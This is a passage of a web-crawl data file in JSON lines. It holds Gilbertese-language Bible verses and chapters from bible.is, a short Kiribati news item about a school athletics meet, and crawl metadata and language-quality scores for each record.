Languages.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/28","date":"2014-08-20T15:48:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500809686.31\/warc\/CC-MAIN-20140820021329-00349-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.534,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6Ma Kristo E kakaonimaki bwa te Nati Ngaia ae iai tabena i bukiia ana aomata te Atua. Bon ana aomata ngaira ngkana ti teimatoa ni karokoa te toki ni bwaina te aki-nanokokoraki ma te kakatonga n te baere ti kaantaningaia.Te Motirawa i bukiia Ana Aomata te Atua\nEBERA 3:6\nFREE!\nOne App.\n1550 Languages.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/6","date":"2014-08-21T06:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500815050.22\/warc\/CC-MAIN-20140820021335-00083-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":52,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:2020Ngkai kam a tia ni mate ma Kristo ao kam a kainaomataaki mani baika iai mwaakaia n te aonnaba aei; ao kam aera ni maiumi i aon te aba, ngkai kam kairaki i aan tuua aikai? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/20","date":"2014-08-29T14:31:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500832538.99\/warc\/CC-MAIN-20140820021352-00039-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000016689300537}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao tera ngkanne ae ti na taekinna? Ti na bure nako naba bwa e aonga ni mwaiti iai te akoi? 2Ti na aki. Ti a tia ni mate nakon te bure, ao ti na kanga ni manga maiu i nanona? 3Kam aki ataira ngaira aika ti bwaabetitooaki nako nanoni Kristo Iesu bwa ti bwaabetitooaki nako nanoni matena? 4Ma ngaia ae ti taunaki ma Ngaia ni bwaabetitooakira nako nanon te mate; bwa aron Iesu ngke E a manga kamaiuaki mai buakoia maate ni mwaakan te Tama, ao ngaira naba ti na nakonako i nanon te maiu ae e boou. 5Bwa ngke ti rikirake ni katiteuanaaki ma Ngaia ni katootoongani matena, ao ai arona naba, bwa ti na rikirake ni katiteuanaaki ma Ngaia ni katootoongani manga-maiuna. 6Bwa ti ataa aei: bwa e tauraki aomatara nikawai i aon te kaibangaki ma Ngaia, bwa e aonga ni kamaunaaki te rabwata ae e bure, bwa ti na aki manga toronaki n te bure. 7Bwa ane e mate, ao e kainaomataaki mani mwaakan te bure. 8Ao ngkana ti mate ma Kristo, ao ti kakoauaa bwa ti na boni manga maiu naba ma Ngaia, 9ngkai ti ataa Kristo bwa E aki manga mate ngkae E a tia ni manga maiu mai buakoia maate-e aki manga mwaaka te mate i aona. 10Bwa ngke E mate, ao E mate ti teuana te tai nakon te bure; ma ngkae E maiu, ao E maiu ibukin te Atua. 11Ao ai aromi naba, kam na iangoingkami bwa kam mate nakon te bure, ma kam maiu ibukin te Atua i nanoni Kristo Iesu. 12Ma ngaia ae tai kauea te bure i nanon rabwatami aika a maamate, n ongo iroun aia kaibwabwaru; 13ao tai angan te bure bwain rabwatami, bwa a na kaboonganaaki ibukini kaantaninga aika a buaakaka; ma kam na anga ngkami nakon te Atua bwa ai aroia aika a maiu mai buakoia maate, ao bwain rabwatami bwa a na kaboonganaaki ibukini karaoan te eti. 14Bwa e na aki uea te bure i aomi; bwa kam aki mena i aan te tua, ma kam mena i aan te akoi. 15Tera ngkanne? Ti na bure, ngkai ti aki mena i aan te tua, ma ti mena i aan te akoi? Ti na aki. 16Kam aki ataia bwa ane kam anga ngkami nakoina bwa ana toro n ongeaaba irouna, ao bon ana toro iai ngkami ngkai kam ongeaaba irouna, bwa tao te bure are e mate te aba iai, ke tao te ongeaaba are e reke maiai kaetan arora n reitaki ma te Atua? 17Ma E na katituaraoaki te Atua, bwa ngke ana toro te bure ngkami, ma kam a tia ni kaaki i nanomi taiani koaua n reirei ake kam a tia n anganaki; 18ao ngke kam kainaomataaki man te bure, ao kam riki bwa tooro ngkami ibukini karaoan te eti. 19I taetae n ai aroia aomata ibukini mamaaran ami atatai; bwa aromi ngke kam anga bwain rabwatami ngkoa bwa kaanga ana toro te kammaira ma te akiako n akea tuami iai, ao ai aromi naba ngkai, bwa kam na anga bwain rabwatami bwa tooro ibukini karaoan te eti, bwa kam aonga n riki bwa ana aomata ni koaua iai te Atua. 20Bwa ngke ana toro te bure ngkami, ao kam aki kabaeaki bwa kam na karaoa nanon te Atua. 21Tera te bae kam karekea ngke kam karaoi ngkoa baike kam maamaa iai ngkai? Bwa tokini baikekei te mate. 22Ma ngkai kam kainaomataaki man te bure, ao kam riki bwa ana toro te Atua, ao iai mwiina nakoimi bwa te riki bwa ana aomata ni koaua te Atua, ao tokina bwa te maiu are e aki toki. 23Bwa boon te bure te mate; ma ana bwai n tituaraoi te Atua te maiu are e aki toki i nanoni Kristo Iesu are ara Uea.\nROM 6","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/6","date":"2014-08-31T04:45:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500836106.97\/warc\/CC-MAIN-20140820021356-00090-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":630,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E waakinako RKU stadium n te bong aio 4\/5\/2011 ana runga JSS TUC1 5 te bong imwin ana kainin KGV\/EBS n ana Inter House are roko n tokina n te kanimabong ae nako.\nTUC1 bon teuana ma ibuakon 3 ana reirei te tautaeka ae te JSS iaon Tarawa ma Betio.\nN te ingabog aio ao e waaknaki moa man te kaukuuki n te mwaati inanon te marae man tiim aika arania n te kara aika te red,blue ao a bati riki.\nAan te rung aio bon te kakatauraoi nakon te Inter School championship are e na runaaki irouia kauarinan i nuka(jss) ao ieta(senior) tabebong imwain rungakin ana kainaomata Kiribati n Turai 2011.\nImwin te bokakano n te runga aio ao aikai mwin taian bwi n akea bwin te relay 4×1 ao 4×4.\n[table id=1 \/]\nAnne are e karekea kiribati updates man te katanoata irouia komete.\nE katautauaki bwa ena bane ana runga TUC1 JSS nakon te bwakan taai aio, bon ti teuana te bong. Ibukin te bong ae te Kaabong ao TUC2 e na karaoa ana Inter Team n te RKU stadium i Bairiki.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/kiribatiupdates.com.ki\/2011\/05\/04\/tuc1-inter-team-starts\/","date":"2014-08-27T20:58:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500829839.93\/warc\/CC-MAIN-20140820021349-00217-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":178,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, taari aika kam itiaki, aika raou ni weteaki mai karawa, kam na iangoa te Tia Tuatua are Iesu, are Mataniwiia ibonga n te onimaki ae ti tataekinna. 2E kakaonimaki nakon Teuare e rineaki irouna bwa E na karaoa ana mwakuri, n ai aroni Mote ngke e kakaonimaki nakon ana mwakuri i bukiia ana aomata te Atua. 3Bwa E atongaki Teuaei bwa e riai ni mwaiti riki neboakina nakon neboakini Mote, n ai aron te tia kateitei ae e riai ni mwaiti riki karineana nakoni karinean te auti are e kateia. 4Bwa auti n tatabeua nako a kateaki iroun temanna ma temanna; ma ane E karaoi kateitei ni kabane bon te Atua. 5E kakaonimaki Mote n ana mwakuri i bukiia ana aomata te Atua ngkai te toro ngaia, ao n arona aei e a kaoti iai baika a na atongaki rimwi iroun te Atua. 6Ma Kristo E kakaonimaki bwa te Nati Ngaia ae iai tabena i bukiia ana aomata te Atua. Bon ana aomata ngaira ngkana ti teimatoa ni karokoa te toki ni bwaina te aki-nanokokoraki ma te kakatonga n te baere ti kaantaningaia.Te Motirawa i bukiia Ana Aomata te Atua 7Ma ngaia aei, n ai aron ana taeka te Taamnei are e Raoiroi, ae e kaangai: Ngkana kam ongo bwanaan te Atua n te bong aei, 8Ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ngkoa ake a rawa ni kani kairaki n tain te kataaki n te rereua, 9Ike a kariiriia iai te Atua ami bakatibu ni kataia, Ao a noori naba ana mwakuri angaun te ririki. 10Ma ngaia are E un te Atua nakon te roro arei, Ao E kaangai, A aki toki ni buubure i nanoia; ao a aki atai arou nako; 11Ma ngaia are I taetae n tuea iai ngke I un, Bwa a na aki rin i nanon au motirawa 12Kam na tarataraingkami, taari, bwa e na aki mena iroun temanna i buakomi, te nano ae e buaakaka ae e aki onimaki, ae te kani kiitana te Atua ae e maiu. 13Ma kam na i kauungaingkami n te bong ae koraki, ngkae e atongaki bwa Te bong aei; bwa e kaawa temanna i buakomi ni mwaamwanaa ki n te bure ao e riki ni matoatoa iai nanona. 14Bwa ti riki bwa raao ngaira ma Kristo ngkana ti taua ni kamatoaa ni karokoa te toki te aki-nanokokoraki are e reke iroura ngke ti moa n onimaki. 15Bwa e kaangai te Baibara: Ngkana kam ongo bwanaan te Atua n te bong aei, Ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ake a rawa ngkoa ni kani kairaki. 16Bwa antai te koraki ake a ongo ao a rawa ni kani kairaki? Tiaki aomata ni kabaneia ake a oti nako mai Aikubita irouni Mote? 17Ao antai ake E un te Atua irouia angaun te ririki. Tiaki ake a bure, ake a bwaka ni mate n te rereua? 18Ao antai ake E taetae n tuea nakoia bwa a na aki rin i nanon ana motirawa? Tiaki ake a aki ongeaaba? 19Ao ti a ataia iai bwa a aki konaa n rin ibukin aia aki-onimaki.\nEBERA 3","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3","date":"2014-08-22T20:16:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500824445.9\/warc\/CC-MAIN-20140820021344-00386-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":523,"character_repetition_ratio":0.063,"word_repetition_ratio":0.047,"special_characters_ratio":0.232,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14ao ai bati ra riki kaitiakani mataniwiin nanora mani mwakuri aika akea uaaia n raraani Kristo are e anga Ngaia iroun te Taamnei are e maiu n aki tootoki bwa te karea ae akea buaakakana nakon te Atua, bwa kam aonga n toro iroun te Atua ae maiu!\nEBERA 9:14\nFREE!\nOne App.\n1550 Languages.","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/14","date":"2014-08-20T12:42:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1408500808153.1\/warc\/CC-MAIN-20140820021328-00172-ip-10-180-136-8.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":53,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:1010Bwa ngke bon ana kairiribai te Atua ngaira, ao ti raoiakinaki ma te Atua ni maten Natina; ao ai bati ra riki ngkai arora ni kamaiuaki ni maiura, ngkai ti a tia n raoiakinaki! Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/10","date":"2014-10-01T00:19:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1412037663218.28\/warc\/CC-MAIN-20140930004103-00267-ip-10-234-18-248.ec2.internal.warc.gz","language":"gil","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 0.9999929666519165}","num_words":50,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7Ti tataro nakon te Atua bwa kam na aki karaoa te bwai teuana ae e buaakaka; ti aki tataro bwa ti aonga n nooraki bwa a nako raoi arora ngke ti kataaki, ma ti butiia bwa kam aonga ni karaoa ae e raoiroi, e boni ngae ngke ti taraa n aki kakoauaaki ni kataakira bwa bon taan tuatua ni koaua ngaira.\n2 KORINTO 13:7\nFREE!\nOne App.\n1567 Languages.","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/13\/7","date":"2014-09-30T18:05:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1412037663060.18\/warc\/CC-MAIN-20140930004103-00008-ip-10-234-18-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":66,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Merekitereka arei bon uean Tarem, ao ana ibonga te Atua are Moan te Rietata. Ngke e oki Aberaam man te buaka are e kamateia iai ueea, ao e kaaitibo Merekitereka ma ngaia, ao e kakabwaiaaki irouni Merekitereka; 2ao Aberaam e anganna kakateuana te katebwina ni mwakoro mani mwaitin ana bwai aika a kakaokoro nako ake a reke irouna. Moan nanon te ara ae Merekitereka bon Uean te Raoiroi; ao ibukina ngkai uean Tarem, ao iai naba nanona ae Uean te Raoi. 3Akea taekan tamana ke tinana ke taekaia ana bakatibu; ao akea naba taekan ana bongi ni bung ke taekani matena. E riki bwa kaanga ai aron Natin te Atua; e tiku bwa te ibonga n aki toki. 4Kam noora aroni kakannaton Merekitereka! Aberaam, are te bakatibu ae e kakannato, e anganna kakateuana te katebwina ni mwakoro mani mwaitin ana bwai aika a kakaokoro nako ake a reke irouna n te buaka. 5Ao ake kanoan Rewi, ake a anganaki te nakoa n ibonga, a tuangaki n te Tua bwa a na anai kakateuana te katebwina ni mwakoro mani mwaitin aia bwai aika a kakaokoro nako tariia, ake bon ana kariki naba Aberaam. 6E aki riki Merekitereka mai iroun Rewi, ma e anaa teuana te katebwina ni mwakoro man ana bwai nako Aberaam, ao e kakabwaia Aberaam, are teuare e anganaki taian taeka n akoi. 7E bane n ataaki bwa te aomata are e anga te kakabwaia e kakannato riki nakon are e kakabwaiaaki. 8A anganaki ibonga te kabwianibwai mai irouia aomata nako. Ma a bane ni mate ibonga, ma ti Merekitereka ae e aki, n ai aron taekana n te Baibara. 9Ma ngaia aei, ngke e anga te kabwianibwai Aberaam, ao e konaa naba n taekinaki ae e kaangai, bwa Rewi (ake taan anai kabwianibwai natina) e anga naba te kabwianibwai. 10Bwa e tuai ni bungiaki Rewi ngke e kaaitibo Merekitereka ma Aberaam; ma e konaa naba n taekinaki ni kaangai, bwa rabwatan Aberaam are ana bakatibu Rewi, ai bon rabwatan naba Rewi n te tai anne. 11Ma ngaia aei, bwa ngke arona bwa e kororaoi aron te nakoa n ibonga are iroun Rewi ma ana kariki, (bwa a anganaki aomata te Tua n te nakoa aei), ao bon akea kainnanoan te ibonga riki temanna ae e kaokoro bwa e na kaoti, n ai aroni Merekitereka, ae tiaki mai iroun Aaron. 12Ao ngkana e bitaki aron rinean te ibonga, ao e na bitaki naba te Tua. 13Bwa teuae a taekinaki baikai ibukina bon ara Uea, are kaain te baronga ae e kaokoro, ae akea temanna i buakoia kaaina ae e a tia n taua te nakoa n ibonga. 14Bwa E bon ataaki ara Uea bwa E riki man te baronga are Iuta, ae akea taekana irouni Mote ngke e taekinia ibonga. 15E a oota raoi riki te baere I a tia n taekinna, ngkae e kaoti te ibonga temanna ae ai aroni Merekitereka, 16are e riki n ibonga, tiaki ibukina ngke kaain te utu n ibonga ngaia, ma ibukina ngkae e aki tootoki maiuna. 17Bwa e kaotiotaki taekana ae e kaangai: Bon te ibonga Ngkoe n aki toki n ai aroni Merekitereka. 18E kaakiaki te tua are rimoa ibukini mamaarana ma aki-manenana. 19Bwa akea te bae e konaa ni kakororaoia te Tua; ma iai te kaantaninga ae e raoiroi riki, are ngaia ae ti a konaa iai n roko ni kaania te Atua. 20I rarikin te kaantaninga ae e raoiroi riki, ao bon iai te taeka ni berita. Akea te taeka ni berita ae e karaoaki ngke a riki bwa ibonga aomata akekei. 21Ma Iesu E riki n ibonga n te taeka ni berita iroun Teuare e kaangai nakoina, E taetae n tuea te Uea, ao E na aki bita nanona, Bon te ibonga Ngkoe n aki toki. 22Ao e riki naba iai Iesu bwa kakoauaan te booraraoi ae e raoiroi riki. 23A mmwaiti aia koraki n ibonga tekoraki arei, ma a bane ni mate ao a aki konaa ni waakina nako aia mwakuri. 24Ma Iesu E boni maiu n aki tootoki, ao e tiku n aki nako mai irouna nakoana n ibonga. 25Ma ngaia ae E konaa ngkai ao n taai nako ni kamaiuiia akana a nako n te Atua irouna, ngkae E maiu n aki toki bwa E na buubuti i bukiia. 26Iesu ngkanne bon te Ibonga ae e Kakannato ae e tau i bukira; E kukurei te Atua irouna, akea kabuaakakaana ma baarekana, E kamwaawaaki mai rarikiia taani bure, ao E karietaataaki riki i aon taiani karawa. 27E aki riai irouna, n ai aroia ibonga ake a kakannato, bwa E na anga karea n te bong ae koraki, n anga moa ibukin oin ana bure, ao rimwi ibukin aia bure aomata: bwa ti teuana karaoan aei irouna, ngke E anga Ngaia bwa te karea. 28Bwa te Tua e rineia aomata aika a aki kororaoi n aroia bwa ibonga aika a kakannato; ma te taeka n aakoi are e karaoaki ma te taeka ni bau are e roko rimwi i mwiin te Tua, e rinea te Nati bwa te ibonga ae e kororaoi n arona n aki toki.\nEBERA 7","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7","date":"2014-09-17T05:39:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657121288.75\/warc\/CC-MAIN-20140914011201-00000-ip-10-196-40-205.us-west-1.compute.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":851,"character_repetition_ratio":0.064,"word_repetition_ratio":0.024,"special_characters_ratio":0.228,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E bungiaki Iesu i Betereem i Iutaia n ana bong n uea Erote, ao nooria, a roko i Ierutarem taan rabakau mai mainiku, ao a taku, 2E ngaa Teuare e bungiaki bwa aia Uea I-Iutaia? Bwa ti noora itoina i mainiku, ao ti a roko bwa ti na taromauriia. 3Ngke e ongo aei Erote are te uea, ao e kiriwe nanona ma angiia kaain Ierutarem. 4E bootiia ni kabane aia mataniwi ibonga ma taani koroboki, ao e kakaaea mai irouia te tabo are E na bungiaki iai te Kristo. 5A taku nakoina, I Betereem i Iutaia: bwa e koreaki ae e kaangai iroun te buraabeti : 6Ao ngkoe ae Betereem ae kaawan Iuta, ko ataaki irouia ake a tautaeka i Iuta, bwa te kaawa teuana i buakoni kaawana ake a rangi ni kakannato, bwa E na nako mai iroum te Uea are e na kaawakiniia au aomata ake Iteraera. 7E kaoiia ngkanne taan rabakau Erote bwa e na bootaki ma ngaiia n ti ngaia, ao e neneria bwa e kaoti te itoi n ningai. 8Ao i mwiina, e kanakoia nako Betereem ma ana taeka nakoia ae e kaangai, Kam na nako ao kabotumwaakaingkami n ukoukora te teei; ao ngkana kam kunea, ao kam na nako mai n tuangai, bwa N na nako naba n taromauriia. 9Ngke a a tia n ongo ana taeka te uea, ao a nako; ao nooria, e ri moaia te itoi are a nooria i mainiku, ao e nako ni mena i etan te tabo ike E mena iai te teei. 10Ngke a noora te itoi, ao a kaonaki n te kimwaareirei ae moan te bati. 11Ao ngke a rin n te auti, ao a noora te merimeri ma Nei Maria are tinana, ao a katorobubua ni bobaraaki n taromauriia, ao a kaotinakoi aia bwaintangira aika koora, ma te riibano, ma te mura, ao a angan te merimeri. 12Ao a okira abaia n te kawai teaina, ibukina ngke a a tia n tuangaki n te mii iroun te Atua bwa a na aki okira Erote. 13Ao i mwiina ngke a a tia n nako, ao nooria, e kaoti ana anera te Atua nakon Iotebwa n te mii, ao e taku, Tei rake ao kaira te merimeri ma tinana ni biri nako Aikubita, ao mena iai ni karokoa tuangam irou; bwa ane e na ukoukora te merimeri Erote bwa e na kamatea. 14Ao e tei rake Iotebwa, ao e kaira te merimeri ma tinana e bong, ao e nako Aikubita, 15ao e tiku ikekei ni karokoa maten Erote. E riki aei bwa e na kakoauaaki are E atongnga te Atua iroun te buraabeti, ngke E taku, I wetea natiu mai Aikubita. 16Ngke e ataia Erote bwa e a tia ni mwaamwanaaki irouia taan rabakau, ao e rangi n un. E kanakoa ana taeka bwa a na bane n tiringaki ataei aika mwaane ake kaka uoua aia ririki ao ake a ataei ake mwaitin aia ririki aei ibukina ngke e a tia n ataia mai irouia taan rabakau bwa e a tia ni koro uoua te ririki man te tai are a moa n noora iai te itoi. 17E a kakoauaaki iai ngkanne are e atongaki iroun Ieremia are te buraabeti, ngke e taku: 18E ongo te aba te bwanaa i Rama, bon te tang, ma te tanginiwenei ae e bati. E tang Nei Rakera i bukiia natina, bwa a mate, ao e rawa ni kabeebeteaki nanona. 19Ngke e a tia ni mate Erote, ao nooria, e kaoti ana anera te Uea nakon Iotebwa n te mii, ao e kaangai. 20Tei rake, ao kaira te teei ma tinana ao naako abaia Iteraera, bwa a a tia ni mate te koraki ake a kan tiringa te teei. 21E tei rake Iotebwa, ao e kaira te teei ma tinana ao e nako abaia Iteraera. 22Ma ngke e ongo bwa e uea Arekerau i Iutaia n rua mwiin Erote are tamana, ao e maaku n nako iai; ma ngke e tuangaki n te mii iroun ana anera te Uea, ao e nako n te aba are Kariraia; 23ao ngke e roko iai, ao e maeka n te kaawa are arana Natareta: bwa e na kakoauaaki are e atongaki irouia buraabeti, are e kaangai: E na aranaki Teuarei bwa kaain Natareta.\nMATAIO 2","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/2","date":"2014-09-23T16:35:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657139314.4\/warc\/CC-MAIN-20140914011219-00314-ip-10-234-18-248.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":710,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.473,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16bwa ana tia mwakuri Iesu Kristo ngai i bukiia aomata aika tiaki I-Iutaia. I mwakuri bwa ai aron te ibonga ngai n tataekina ana euangkerio te Atua, bwa a aonga n riki aomata aika tiaki I-Iutaia bwa ai aroni karea aika E na kukurei te Atua irouia, aika a tia ni katabuaki ibukina iroun te Taamnei are e Raoiroi.\nROM 15:16\nFREE!\nOne App.\n1554 Languages.","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/16","date":"2014-09-20T00:12:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1410657132372.31\/warc\/CC-MAIN-20140914011212-00331-ip-10-196-40-205.us-west-1.compute.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":64,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7ma ti te ibonga ae e kakannato ae e rin nako n te tabo are moanibaan te tabu; ao ti teuana ana tai ni karaoa aei n teuana te ririki, ao uotana ni katoa tai te raraa ae e na anga bon ibukina, ao ibukin naba aia bure aomata.\nEBERA 9:7\nFREE!\nOne App.\n1574 Languages.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/7","date":"2014-10-26T07:55:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414119660038.53\/warc\/CC-MAIN-20141024030100-00090-ip-10-16-133-185.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga rin Iesu ni mwaneabaia I-Iutaia, ike e mena iai te aomata ae e mate baina. 2Ao a tarataraia bwa tao E na kamaiua teuarei n te taabati, bwa a aonga ni karekea bukinana iai. 3Ao E taku Iesu nakon te aomata arei, Tei rake, ao mena i nuuka. 4Ao E taku nakoia aomata, Eti ma taekan te tua ibukin te taabati bwa ti na karaoa ae e raoiroi ke ae e buaakaka? Bwa ti na kamaiua te aomata ke ti na kamatea? Ao a aki kaekaa. 5E un Iesu ngke E tarataraiia nako, ao E nanokaawaki naba ibukina ngke a matoatoa nanoia; ao E taku nakon teuarei, Arora nako baim. Ao e aroria, ao e maiu baina. 6Ao Bwaritaio a kiitana mwaneabaia I-Iutaia, ao a kaboowi n te tai ae e waekoa ma temwaangina aika kaain ana bootaki Erote, bwa a na kareke iango ibukin tiringan Iesu. 7Ao E nako Iesu ma ana reirei nakon te nama are Kariraia, ao a iria aomata aika a mwaiti. A roko mai Kariraia, ao mai Iutaia, ao mai Ierutarem, ao mai Itumia, 8ao man te tabo are i mainikun te Ioretan, ao man taabo ake a katobibi kaawa ake Turo ma Titon. A roko aomata aikai nakon Iesu bwa a a tia n ongo taekani bwaai ake E kaakaraoi. 9Ao ibukina ngke a rangi ni mwaiti aomata, ao Iesu E tuangiia ana reirei bwa a na katauraoa te booti ibukina, bwa E aonga n aki karibwaaki irouia. 10Bwa E a tia ni kamaiuiia aomata aika a mwaiti, ao ake a aoraki a karaneneiia n uai rokoia irouna, bwa a aonga n riingnga. 11Ao aomata ake a taniaki irouia taamnei aika a kamwaraa, ngke a noora Iesu, ao a bwaka i matana, ao a takaarua ni kaangai, Bon Natin te Atua Ngkoe! 12Ao Iesu E tuangiia taamnei ake a kamwaraa akekei ma te bwanaa ae e matoatoa, bwa a na aki tuanga temanna bwa antai Ngaia. 13Ao Iesu E nako aon te maunga, ao E weteiia uaake E kani weteiia, ao a roko irouna. 14Ao E rineia tengauni ma uoman, (ao E araniia bwa taan tuatua) bwa a na meemena irouna, ao bwa E na kanakoia bwa a na kabwarabwara, 15ao bwa a na mwaaka ni kanakoia taimonio. 16Ao aikai te koraki akekei: Timon are E aranna bwa Betero; 17ao Iakobo ma tarina are Ioane ake natin Tebetaio (E araniia bwa Boanereke, ae nanona, natin te ba-ni-karawa). 18Ao Anterea, ma Biribo, ma Bwaretoromwaio, ma Mataio, ma Toma, ma Iakobo are natin Arebwaio; ao Tataio, ma Timon are te tia tauanen ibukin abana, 19ma Iuta Itekariota are e kamwanea Iesu. 20Ao Iesu E nako n te auti. A manga 